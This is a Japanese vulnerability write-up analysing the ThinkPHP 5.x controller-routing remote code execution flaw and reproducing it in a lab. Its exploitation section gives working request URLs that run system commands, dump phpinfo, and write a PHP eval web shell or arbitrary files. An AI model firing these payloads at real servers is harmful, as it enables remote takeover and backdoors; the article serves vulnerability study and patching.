ホームページ >PHPフレームワーク >ThinkPHP >ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

藏色散人
藏色散人転載
2019-08-20 14:09:433068ブラウズ

0x00 前書き

ThinkPHP は、2018 年 12 月 9 日に重要なセキュリティ アップデートを正式にリリースし、深刻なリモート コード実行の脆弱性を修正しました。この更新には主にセキュリティ更新が含まれます。フレームワークはコントローラー名に対して十分な検出を実行しないため、強制ルーティングがオンになっていない場合、getshell の脆弱性が発生する可能性があります。影響を受けるバージョンにはバージョン 5.0 および 5.1 が含まれます。次のことをお勧めします。できるだけ早く最新バージョンにアップデートしてください。

0x01 影響範囲

5.x

0x02 脆弱性分析

Thinkphp v5.0.x パッチ アドレス: https://github.com/top-think/framework/com...

Thinkphp v5。 1 .x パッチ アドレス: https://github.com/top-think/framework/com...

ルーティング情報のコントローラー部分がフィルターされています。ルーティングで問題が発生していることがわかりました。

スケジューリング中のキー コード:

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

修復前、プログラムはコントローラーをフィルタリングしなかったため、攻撃者は\ 記号を導入してクラス メソッドを呼び出します。

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

$this->app->controller メソッドを使用してコントローラーをインスタンス化し、インスタンス内のメソッドを呼び出します。コントローラー メソッドを続行します。

parseModuleAndClass メソッドは、$module と $class を解析し、$class をインスタンス化します。

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

parseModuleAndClass メソッドでは、$name がバックスラッシュ \ で始まる場合、それがクラス名として直接使用されます。名前空間の特性を利用して、ここの $name (つまりルートのコントローラー部分) を制御できれば、任意のクラスをインスタンス化できます。

次に、ルーティング解析コードを振り返ってみましょう。 Route/dispatch/Url.php::parseUrl メソッドは、route/Rule.php::parseUrlPath を呼び出して、pathinfo のルーティング情報を解析します

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

コードは比較的単純です。 use / $url をフィルタリングせずに分割します。

ルーティング URL は Request::path () から取得されます。

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

var_pathinfo のデフォルト設定は s であるため、$_GET [ を使用できます。 '] を使用してルーティング情報を渡すこともできますが、pathinfo を使用して渡すこともできますが、テスト中に Windows 環境では $_SERVER ['pathinfo'] の \ が / に置き換えられます。前の分析と組み合わせると、次のように暫定的な使用率コードを取得できます:index.php?s=index/\namespace\class/method。これにより、\namespace\class クラスがインスタンス化され、メソッドが実行されます。

#0x03 脆弱性の悪用

Docker 脆弱性環境のソース コード:

https://github.com/vulnspy/thinkphp-5.1.29

ローカル環境: thinkphp5.0.15 php5.6n apache2.0

http://www.thinkphp.cn/donate/download/id/...

1. system 関数を使用してリモート コマンドを実行します

http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現

2. phpinfo 関数を使用して phpinfo ()

http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
## の情報を書き出します

ThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現#3. シェル:

http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

または

http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo &#39;ok&#39;;?>

を記述します。

以上がThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はlearnku.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。